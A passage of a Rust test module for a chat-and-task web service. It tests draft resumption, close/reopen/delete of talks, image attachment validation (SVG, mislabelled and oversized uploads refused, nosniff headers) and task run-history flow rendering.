13114                Some(r#"{"text":"new message"}"#),
13115            )
13116            .await;
13117        assert_eq!(refused.status, 409, "{}", refused.body);
13118        assert!(refused.body.contains("resume"), "{}", refused.body);
13119        let saved = store.get(&id).expect("draft remains after refusal");
13120        assert!(saved.turns.is_empty());
13121        assert_eq!(saved.pending, "saved before restart");
13122
13123        let say_path = format!("/api/talks/{id}/say");
13124        let (first, second) = tokio::join!(
13125            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13126            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13127        );
13128        assert_eq!(first.status, 409, "{}", first.body);
13129        assert_eq!(second.status, 409, "{}", second.body);
13130        let saved = store
13131            .get(&id)
13132            .expect("draft remains after concurrent refusals");
13133        assert!(saved.turns.is_empty());
13134        assert_eq!(saved.pending, "saved before restart");
13135
13136        let resumed = f
13137            .post(&format!("/api/talks/{id}/pending/resume"), None)
13138            .await;
13139        assert_eq!(resumed.status, 202, "{}", resumed.body);
13140        let duplicate = f
13141            .post(&format!("/api/talks/{id}/pending/resume"), None)
13142            .await;
13143        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13144
13145        for _ in 0..SETTLE_STEPS {
13146            if store.get(&id).expect("talk").turns.len() == 2 {
13147                break;
13148            }
13149            tokio::time::sleep(Duration::from_millis(10)).await;
13150        }
13151        let finished = store.get(&id).expect("finished talk");
13152        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13153        assert_eq!(finished.turns[0].body, "saved before restart");
13154        assert!(finished.pending.is_empty());
13155    }
13156
13157    #[tokio::test]
13158    async fn an_image_only_recovered_draft_resumes_without_text() {
13159        let (_tmp, _repo, f) = talk_fixture().await;
13160        let id = f.post("/api/talks", None).await.json()["id"]
13161            .as_str()
13162            .expect("id")
13163            .to_owned();
13164        let uploaded = f
13165            .post_bytes(
13166                &format!("/api/talks/{id}/attachments"),
13167                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13168                PNG_BYTES,
13169            )
13170            .await;
13171        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13172        let attachment = f
13173            .talks()
13174            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13175            .expect("attachment metadata")
13176            .expect("stored attachment");
13177        let store = f.talks();
13178        let mut recovered = store.get(&id).expect("opened talk");
13179        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13180
13181        let resumed = f
13182            .post(&format!("/api/talks/{id}/pending/resume"), None)
13183            .await;
13184        assert_eq!(resumed.status, 202, "{}", resumed.body);
13185        for _ in 0..SETTLE_STEPS {
13186            if store.get(&id).expect("talk").turns.len() == 2 {
13187                break;
13188            }
13189            tokio::time::sleep(Duration::from_millis(10)).await;
13190        }
13191        let finished = store.get(&id).expect("finished talk");
13192        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13193        assert!(finished.turns[0].body.is_empty());
13194        assert_eq!(finished.turns[0].attachments.len(), 1);
13195        assert!(finished.pending_attachments.is_empty());
13196    }
13197
13198    #[tokio::test]
13199    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13200        let (_tmp, _repo, f) = talk_fixture().await;
13201        let id = f.post("/api/talks", None).await.json()["id"]
13202            .as_str()
13203            .expect("id")
13204            .to_owned();
13205        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13206        assert_eq!(closed.status, 200, "{}", closed.body);
13207        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13208            .expect("serialize closed talk");
13209        for (path, body) in [
13210            (format!("/api/talks/{id}/pending/resume"), None),
13211            (
13212                format!("/api/talks/{id}/pending/clear"),
13213                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13214            ),
13215            (
13216                format!("/api/talks/{id}/pending/edit"),
13217                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13218            ),
13219            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13220        ] {
13221            let response = f.post(&path, body).await;
13222            assert_eq!(response.status, 409, "{}", response.body);
13223        }
13224        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13225            .expect("serialize closed talk");
13226        assert_eq!(
13227            after_clear, before_clear,
13228            "clear must not rewrite a closed talk"
13229        );
13230    }
13231
13232    /// Keeps both claims observable long enough to exercise the distinction
13233    /// between one busy talk and a globally locked Chat surface.
13234    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13235
13236    #[tokio::test]
13237    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13238        let tmp = TempDir::new().expect("tempdir");
13239        let repo = tmp.path().join("repo");
13240        std::fs::create_dir_all(&repo).expect("repo dir");
13241        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13242        let f = Fixture::with_repo(repo).await;
13243        let id_a = f.post("/api/talks", None).await.json()["id"]
13244            .as_str()
13245            .unwrap()
13246            .to_owned();
13247        let id_b = f.post("/api/talks", None).await.json()["id"]
13248            .as_str()
13249            .unwrap()
13250            .to_owned();
13251
13252        let a = f
13253            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13254            .await;
13255        assert_eq!(a.status, 202, "{}", a.body);
13256        assert_eq!(a.json()["thinking"], true);
13257        let b = f
13258            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13259            .await;
13260        assert_eq!(b.status, 202, "{}", b.body);
13261        assert_eq!(b.json()["thinking"], true);
13262
13263        let listed = f.get("/api/talks").await.json();
13264        for id in [&id_a, &id_b] {
13265            let view = listed
13266                .as_array()
13267                .unwrap()
13268                .iter()
13269                .find(|talk| talk["id"] == *id)
13270                .unwrap();
13271            assert_eq!(view["thinking"], true, "{listed}");
13272        }
13273        let repeated = f
13274            .post(
13275                &format!("/api/talks/{id_a}/say"),
13276                Some(r#"{"text":"again"}"#),
13277            )
13278            .await;
13279        assert_eq!(repeated.status, 202, "{}", repeated.body);
13280        assert_eq!(repeated.json()["pending"], "again");
13281    }
13282
13283    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
13284    /// few more, since real uploads are never exactly eight bytes.
13285    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13286
13287    #[tokio::test]
13288    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13289        let f = Fixture::start().await;
13290        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13291
13292        let res = f
13293            .post_bytes(
13294                &format!("/api/talks/{id}/attachments"),
13295                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13296                PNG_BYTES,
13297            )
13298            .await;
13299        assert_eq!(res.status, 201, "{}", res.body);
13300        let body = res.json();
13301        assert_eq!(body["name"], "shot.png");
13302        assert_eq!(body["mime"], "image/png");
13303        assert_eq!(body["bytes"], PNG_BYTES.len());
13304        let att_id = body["id"].as_str().expect("id").to_owned();
13305        assert_eq!(
13306            att_id.len(),
13307            32,
13308            "the id must never be a client-suppliable path: {att_id}"
13309        );
13310
13311        let got = f
13312            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13313            .await;
13314        assert_eq!(got.status, 200, "{}", got.body);
13315        assert_eq!(got.header("content-type"), Some("image/png"));
13316        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13317        assert_eq!(got.bytes, PNG_BYTES);
13318    }
13319
13320    #[tokio::test]
13321    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13322        let f = Fixture::start().await;
13323        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13324
13325        // SVG can carry a `<script>`, so it is never on the whitelist even
13326        // though it is a real IANA image type.
13327        let svg = f
13328            .post_bytes(
13329                &format!("/api/talks/{id}/attachments"),
13330                &[("Content-Type", "image/svg+xml")],
13331                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13332            )
13333            .await;
13334        assert!(
13335            (400..500).contains(&svg.status),
13336            "svg must be refused: {} {}",
13337            svg.status,
13338            svg.body
13339        );
13340        assert!(svg.body.contains("SVG"), "{}", svg.body);
13341
13342        let text = f
13343            .post_bytes(
13344                &format!("/api/talks/{id}/attachments"),
13345                &[("Content-Type", "text/plain")],
13346                b"just some text",
13347            )
13348            .await;
13349        assert!(
13350            (400..500).contains(&text.status),
13351            "an unlisted type must be refused: {} {}",
13352            text.status,
13353            text.body
13354        );
13355
13356        // The declared type is a real png, but the size check runs before
13357        // the bytes are even looked at.
13358        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13359        let big = f
13360            .post_bytes(
13361                &format!("/api/talks/{id}/attachments"),
13362                &[("Content-Type", "image/png")],
13363                &oversized,
13364            )
13365            .await;
13366        assert_eq!(
13367            big.status,
13368            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13369            "{}",
13370            big.body
13371        );
13372    }
13373
13374    #[tokio::test]
13375    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13376        let f = Fixture::start().await;
13377        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13378
13379        // A whitelisted `Content-Type`, but bytes that are not actually a
13380        // png - the declared header alone is never trusted.
13381        let res = f
13382            .post_bytes(
13383                &format!("/api/talks/{id}/attachments"),
13384                &[("Content-Type", "image/png")],
13385                b"<html>not a picture</html>",
13386            )
13387            .await;
13388        assert!((400..500).contains(&res.status), "{}", res.body);
13389    }
13390
13391    #[tokio::test]
13392    async fn an_unknown_attachment_id_is_a_404() {
13393        let f = Fixture::start().await;
13394        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13395
13396        let res = f
13397            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13398            .await;
13399        assert_eq!(res.status, 404, "{}", res.body);
13400    }
13401
13402    #[tokio::test]
13403    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13404        let f = Fixture::start().await;
13405        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13406
13407        let uploaded = f
13408            .post_bytes(
13409                &format!("/api/talks/{id}/attachments"),
13410                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13411                PNG_BYTES,
13412            )
13413            .await;
13414        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13415        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13416
13417        let res = f
13418            .post(
13419                &format!("/api/talks/{id}/say"),
13420                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13421            )
13422            .await;
13423        assert_eq!(res.status, 202, "{}", res.body);
13424        let queued = res.json();
13425        let turns = queued["turns"].as_array().expect("turns array");
13426        assert_eq!(
13427            turns.len(),
13428            1,
13429            "an empty body with an attachment is still a turn: {queued}"
13430        );
13431        assert_eq!(turns[0]["who"], "operator");
13432        assert_eq!(turns[0]["body"], "");
13433        let atts = turns[0]["attachments"]
13434            .as_array()
13435            .expect("attachments array");
13436        assert_eq!(atts.len(), 1);
13437        assert_eq!(atts[0]["id"], att_id);
13438        assert_eq!(atts[0]["mime"], "image/png");
13439
13440        // Not only in the response: `record` flushes to disk before the
13441        // agent's own turn is even spawned.
13442        let on_disk = f.talks().get(&id).expect("get");
13443        assert_eq!(on_disk.turns[0].attachments.len(), 1);
13444        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13445    }
13446
13447    #[tokio::test]
13448    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13449        let f = Fixture::start().await;
13450        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13451
13452        let res = f
13453            .post(
13454                &format!("/api/talks/{id}/say"),
13455                Some(&format!(
13456                    r#"{{"text":"hi","attachments":["{}"]}}"#,
13457                    "a".repeat(32)
13458                )),
13459            )
13460            .await;
13461        assert!((400..500).contains(&res.status), "{}", res.body);
13462        assert!(res.body.contains("unknown attachment"), "{}", res.body);
13463
13464        let on_disk = f.talks().get(&id).expect("get");
13465        assert!(
13466            on_disk.turns.is_empty(),
13467            "a rejected attachment id must not partially record the turn: {:?}",
13468            on_disk.turns
13469        );
13470    }
13471
13472    #[tokio::test]
13473    async fn talk_close_makes_the_talk_refuse_further_turns() {
13474        let f = Fixture::start().await;
13475        let id = seed_talk(&f, "20260904-014455-cd34", "open");
13476
13477        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13478        assert_eq!(closed.status, 200, "{}", closed.body);
13479        assert_eq!(closed.json()["status"], "closed");
13480
13481        // Idempotent: closing an already-closed talk is not an error.
13482        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13483        assert_eq!(closed_again.status, 200);
13484        assert_eq!(closed_again.json()["status"], "closed");
13485
13486        let said = f
13487            .post(
13488                &format!("/api/talks/{id}/say"),
13489                Some(r#"{"text":"too late"}"#),
13490            )
13491            .await;
13492        assert_eq!(said.status, 409, "{}", said.body);
13493    }
13494
13495    #[tokio::test]
13496    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13497        let (_tmp, _repo, f) = talk_fixture().await;
13498        let id = f.post("/api/talks", None).await.json()["id"]
13499            .as_str()
13500            .expect("id")
13501            .to_owned();
13502        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13503        assert_eq!(closed.status, 200, "{}", closed.body);
13504
13505        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13506        assert_eq!(reopened.status, 200, "{}", reopened.body);
13507        assert_eq!(reopened.json()["status"], "open");
13508
13509        // Idempotent: reopening an already-open talk is not an error.
13510        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13511        assert_eq!(reopened_again.status, 200);
13512        assert_eq!(reopened_again.json()["status"], "open");
13513
13514        let said = f
13515            .post(
13516                &format!("/api/talks/{id}/say"),
13517                Some(r#"{"text":"still there?"}"#),
13518            )
13519            .await;
13520        assert_eq!(
13521            said.status, 202,
13522            "a reopened talk accepts turns again: {}",
13523            said.body
13524        );
13525    }
13526
13527    #[tokio::test]
13528    async fn talk_reopen_on_an_unknown_id_is_404() {
13529        let f = Fixture::start().await;
13530        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13531        assert_eq!(res.status, 404, "{}", res.body);
13532    }
13533
13534    #[tokio::test]
13535    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13536        let f = Fixture::start().await;
13537        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13538
13539        let deleted = f.delete(&format!("/api/talks/{id}")).await;
13540        assert_eq!(deleted.status, 204, "{}", deleted.body);
13541
13542        let after = f.get(&format!("/api/talks/{id}")).await;
13543        assert_eq!(after.status, 404, "{}", after.body);
13544
13545        let listed = f.get("/api/talks").await.json();
13546        assert!(
13547            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13548            "a deleted talk must not linger in the list: {listed}"
13549        );
13550    }
13551
13552    #[tokio::test]
13553    async fn talk_delete_on_an_unknown_id_is_404() {
13554        let f = Fixture::start().await;
13555        let res = f.delete("/api/talks/nonexistent-id").await;
13556        assert_eq!(res.status, 404, "{}", res.body);
13557    }
13558
13559    /// A task's page lists every run it ever had, in order, and says what kind
13560    /// of attempt each was - including a resume, which re-pushes the same run
13561    /// id, and a run whose record this build cannot read.
13562    #[tokio::test]
13563    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13564        let f = Fixture::start().await;
13565        let (a, b, gone) = (
13566            "20260902-140501-aaaa",
13567            "20260902-140502-bbbb",
13568            "20260902-140503-cccc",
13569        );
13570        write_run(&f.runs(), a, RunStatus::Stalled);
13571        let mut review = RunState::new(
13572            PathBuf::from("/repo/magi"),
13573            "main".to_owned(),
13574            "0123456789abcdef".to_owned(),
13575            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13576                .to_owned(),
13577            Config::default(),
13578        );
13579        review.id = b.to_owned();
13580        review.status = RunStatus::Merged;
13581        write_state(&f.runs(), &review);
13582
13583        let mut task = Task::new(
13584            "retry".to_owned(),
13585            "Do the thing".to_owned(),
13586            PathBuf::from("/repo/magi"),
13587            Source::Human,
13588        );
13589        task.start(a.to_owned());
13590        task.stall("quota");
13591        task.start(a.to_owned());
13592        task.start(b.to_owned());
13593        task.start(gone.to_owned());
13594        // This fixture models an older queue file with repeated run entries.
13595        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13596        f.queue().put(&mut task).expect("file the task");
13597
13598        let res = f.get(&format!("/api/queue/{}", task.id)).await;
13599        assert_eq!(res.status, 200, "{}", res.body);
13600        let v = res.json();
13601        let h = v["history"].as_array().expect("history");
13602        assert_eq!(h.len(), 4, "{v}");
13603        assert_eq!(h[0]["kind"], "competition");
13604        assert_eq!(h[0]["status"], "stalled");
13605        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13606        assert_eq!(h[1]["kind"], "resume", "{v}");
13607        assert!(
13608            h[0]["outcome"]
13609                .as_str()
13610                .unwrap()
13611                .contains("unknown. Pass #2"),
13612            "an earlier pass of a resumed run must not claim the final outcome: {v}"
13613        );
13614        assert!(
13615            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13616            "{v}"
13617        );
13618        assert!(
13619            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13620            "an unrecorded cause must not be narrated as an operator park: {v}"
13621        );
13622        assert_eq!(h[2]["kind"], "review");
13623        assert!(
13624            h[2]["description"]
13625                .as_str()
13626                .unwrap()
13627                .contains("magi/aaaa/A")
13628        );
13629        assert_eq!(h[2]["status"], "merged");
13630        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13631        assert_eq!(v["runs_unreadable"], 1);
13632        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13633        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13634        assert_eq!(nodes[4]["note"], "unreadable");
13635        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13636        assert_eq!(v["instruction"], "Do the thing");
13637        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13638
13639        // The run's own page links back to the task.
13640        let run = f.get(&format!("/api/runs/{a}")).await.json();
13641        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13642
13643        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13644    }
13645
13646    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13647        let mut s = RunState::new(
13648            PathBuf::from("/repo/magi"),
13649            "main".to_owned(),
13650            "0123456789abcdef".to_owned(),
13651            "Do it".to_owned(),
13652            Config::default(),
13653        );
13654        s.status = status;
13655        edit(&mut s);
13656        s
13657    }
13658
13659    fn flow_task(runs: &[&str]) -> Task {
13660        let mut t = Task::new(
13661            "t".to_owned(),
13662            "Do it".to_owned(),
13663            PathBuf::from("/repo/magi"),
13664            Source::Human,
13665        );
13666        for r in runs {
13667            t.start((*r).to_owned());
13668        }
13669        // Synthetic flows without RunPass records model legacy queue data.
13670        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13671        t
13672    }
13673
13674    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13675        let h = task_history(task, |id| {
13676            states
13677                .iter()
13678                .find(|(i, _)| *i == id)
13679                .and_then(|(_, s)| s.clone())
13680        });
13681        task_flow(task, &h, 5, None)
13682    }
13683
13684    #[test]
13685    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
13686        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
13687        let created = "2026-10-10T01:00:00Z".parse().unwrap();
13688        let first = "2026-10-10T02:00:00Z".parse().unwrap();
13689        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
13690        let held = "2026-10-10T04:00:00Z".parse().unwrap();
13691        let run = flow_run(RunStatus::Implementing, |s| {
13692            s.created_at = created;
13693            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
13694            s.passes[0].started_at = first;
13695            s.passes[1].started_at = resumed;
13696        });
13697        let mut task = flow_task(&[RUN_X, RUN_X]);
13698        task.created_at = queued;
13699        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
13700        task.status = TaskStatus::Held;
13701        task.held_at = Some(held);
13702        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
13703        assert_eq!(
13704            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
13705            vec![Some(queued), Some(first), Some(resumed), Some(held)]
13706        );
13707        assert!(flow.nodes.iter().all(|n| n.time_expected));
13708        let json = serde_json::to_value(&flow).unwrap();
13709        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
13710        assert_eq!(json["nodes"][2]["time_expected"], true);
13711    }
13712
13713    #[test]
13714    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
13715        let created = "2026-10-10T01:00:00Z".parse().unwrap();
13716        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
13717        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
13718        // These timestamps are not the start of the current status.
13719        task.held_at = Some(created);
13720        task.blocked_at = Some(created);
13721        for status in [
13722            TaskStatus::Queued,
13723            TaskStatus::Running,
13724            TaskStatus::Blocked,
13725            TaskStatus::Done,
13726            TaskStatus::Failed,
13727            TaskStatus::Parked,
13728            TaskStatus::Held,
13729        ] {
13730            task.status = status;
13731            if status == TaskStatus::Held {
13732                task.held_at = None;
13733            }
13734            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
13735            assert_eq!(flow.nodes[1].started_at, Some(created));
13736            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
13737            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
13738            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
13739            let json = serde_json::to_value(&flow).unwrap();
13740            assert!(json["nodes"][3]["started_at"].is_null());
13741            assert_eq!(json["nodes"][3]["time_expected"], true);
13742        }
13743    }
13744
13745    #[test]
13746    fn flow_context_links_do_not_expect_start_times() {
13747        let mut task = flow_task(&[]);
13748        task.source = Source::Agent {
13749            run: "chat-id".to_owned(),
13750            node: "chat".to_owned(),
13751        };
13752        let origin = followup_origin(&fu(None), |_| None, |_| None);
13753        let flow = task_flow(&task, &[], 5, Some(&origin));
13754        for node in &flow.nodes[..2] {
13755            assert!(!node.time_expected);
13756            assert_eq!(node.started_at, None);
13757        }
13758        assert!(flow.nodes[2].time_expected);
13759    }
13760
13761    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13762        crate::queue::FollowUp {
13763            run: "20260901-000000-aaaa".to_owned(),
13764            origin_task: origin_task.map(str::to_owned),
13765            pr: "https://example.com/o/r/pull/1".to_owned(),
13766            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13767                .map(str::to_owned)
13768                .to_vec(),
13769            generation: 1,
13770        }
13771    }
13772
13773    fn parent_task() -> Task {
13774        let mut p = flow_task(&[]);
13775        p.title = "Parent title".to_owned();
13776        p.status = TaskStatus::Done;
13777        p
13778    }
13779
13780    #[test]
13781    fn flow_opens_with_the_parent_task_of_a_followup() {
13782        let p = parent_task();
13783        let pid = p.id.clone();
13784        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13785        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13786        let n = &f.nodes[0];
13787        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13788        assert_eq!(
13789            n.label,
13790            format!("Follow-up of {}", crate::queue::short(&pid))
13791        );
13792        assert_eq!(n.detail.as_deref(), Some("Parent title"));
13793        assert_eq!(n.status, Some("done"));
13794        assert_eq!(n.status_of, "task");
13795        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13796        assert_eq!(f.nodes[1].key, "start");
13797        assert_eq!(f.edges[0].from, "origin");
13798        assert_eq!(
13799            f.edges[0].label,
13800            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13801        );
13802    }
13803
13804    #[test]
13805    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13806        let o = followup_origin(
13807            &fu(Some("gone")),
13808            |_| None,
13809            |_| {
13810                Some(RunState::new(
13811                    std::path::PathBuf::from("."),
13812                    "main".to_owned(),
13813                    "0".to_owned(),
13814                    "t".to_owned(),
13815                    crate::config::Config::default(),
13816                ))
13817            },
13818        );
13819        assert!(o.parent.is_none());
13820        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13821        let n = &f.nodes[0];
13822        assert_eq!(n.status_of, "run");
13823        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13824        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13825    }
13826
13827    #[test]
13828    fn flow_followup_with_nothing_readable_has_no_link() {
13829        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13830        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13831        let n = &f.nodes[0];
13832        assert_eq!(n.href, None);
13833        assert_eq!(n.note, Some("unreadable"));
13834        assert!(!n.readable);
13835    }
13836
13837    #[test]
13838    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13839        let o = followup_origin(&fu(None), |_| None, |_| None);
13840        let mut t = flow_task(&[]);
13841        t.origin_chat = Some("c1".to_owned());
13842        let f = task_flow(&t, &[], 5, Some(&o));
13843        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13844        t.source = Source::Agent {
13845            run: "c1".to_owned(),
13846            node: crate::queue::CHAT_NODE.to_owned(),
13847        };
13848        let f = task_flow(&t, &[], 5, Some(&o));
13849        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13850        assert_eq!(
13851            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13852            ("chat", "origin")
13853        );
13854    }
13855
13856    #[test]
13857    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13858        let mut p = parent_task();
13859        p.id = "a b/c".to_owned();
13860        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13861        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13862    }
13863
13864    #[test]
13865    fn flow_opens_with_the_chat_that_queued_the_task() {
13866        let mut t = flow_task(&[]);
13867        t.source = Source::Agent {
13868            run: "a b/c".to_owned(),
13869            node: crate::queue::CHAT_NODE.to_owned(),
13870        };
13871        let f = flow_for(&t, &[]);
13872        assert_eq!(f.nodes[0].key, "chat");
13873        assert_eq!(f.nodes[0].kind, "chat");
13874        assert_eq!(
13875            f.nodes[0].label,
13876            format!("Chat {}", crate::queue::short("a b/c"))
13877        );
13878        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13879        assert_eq!(f.nodes[1].key, "start");
13880        assert_eq!(
13881            f.edges[0],
13882            FlowEdge {
13883                from: "chat".to_owned(),
13884                to: "start".to_owned(),
13885                label: "queued from chat".to_owned(),
13886                attempt: AttemptCost::None,
13887            }
13888        );
13889    }
13890
13891    #[test]
13892    fn flow_has_no_chat_box_for_other_sources() {
13893        for source in [
13894            Source::Human,
13895            Source::Issue {
13896                number: 3,
13897                repo: "o/r".to_owned(),
13898            },
13899            Source::Agent {
13900                run: "20260904-014455-ab12".to_owned(),
13901                node: "implement".to_owned(),
13902            },
13903        ] {
13904            let mut t = flow_task(&[]);
13905            t.source = source;
13906            let f = flow_for(&t, &[]);
13907            assert_eq!(f.nodes[0].key, "start");
13908            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13909            assert!(f.edges.iter().all(|e| e.from != "chat"));
13910        }
13911    }
13912
13913    const FA: &str = "20260902-140501-aaaa";
13914    const FB: &str = "20260902-140502-bbbb";
13915
13916    #[test]
13917    fn flow_follows_blocked_retry_merged_to_done() {
13918        let mut t = flow_task(&[FA, FB]);
13919        t.status = TaskStatus::Done;
13920        let f = flow_for(
13921            &t,
13922            &[
13923                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13924                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13925            ],
13926        );
13927        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13928        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13929        assert_eq!(f.edges.len(), 3);
13930        assert_eq!(f.edges[0].label, "claimed");
13931        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13932        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13933        assert_eq!(f.edges[2].label, "merged \u{2192} done");
13934        assert_eq!(
13935            f.nodes[2].href.as_deref(),
13936            Some("#/runs/20260902-140502-bbbb")
13937        );
13938        assert!(f.nodes[2].decided);
13939    }
13940
13941    #[test]
13942    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13943        let quota = || {
13944            flow_run(RunStatus::Stalled, |s| {
13945                s.quota.push(crate::run::QuotaLoss {
13946                    seat: "judge-1".to_owned(),
13947                    node: "judge".to_owned(),
13948                    at: Timestamp::now(),
13949                    reset: None,
13950                })
13951            })
13952        };
13953        let mut t = flow_task(&[FA, FA]);
13954        t.status = TaskStatus::Queued;
13955        let f = flow_for(&t, &[(FA, Some(quota()))]);
13956        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13957        assert_eq!(f.nodes[1].note, Some("interrupted"));
13958        assert_eq!(
13959            f.nodes[1].status, None,
13960            "no outcome copied onto an earlier pass"
13961        );
13962        assert_eq!(
13963            f.edges[1].attempt,
13964            AttemptCost::Unknown,
13965            "a resume does not prove the earlier pass was refunded"
13966        );
13967        assert!(f.edges[1].label.contains("resume the same run"));
13968        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13969        assert_eq!(
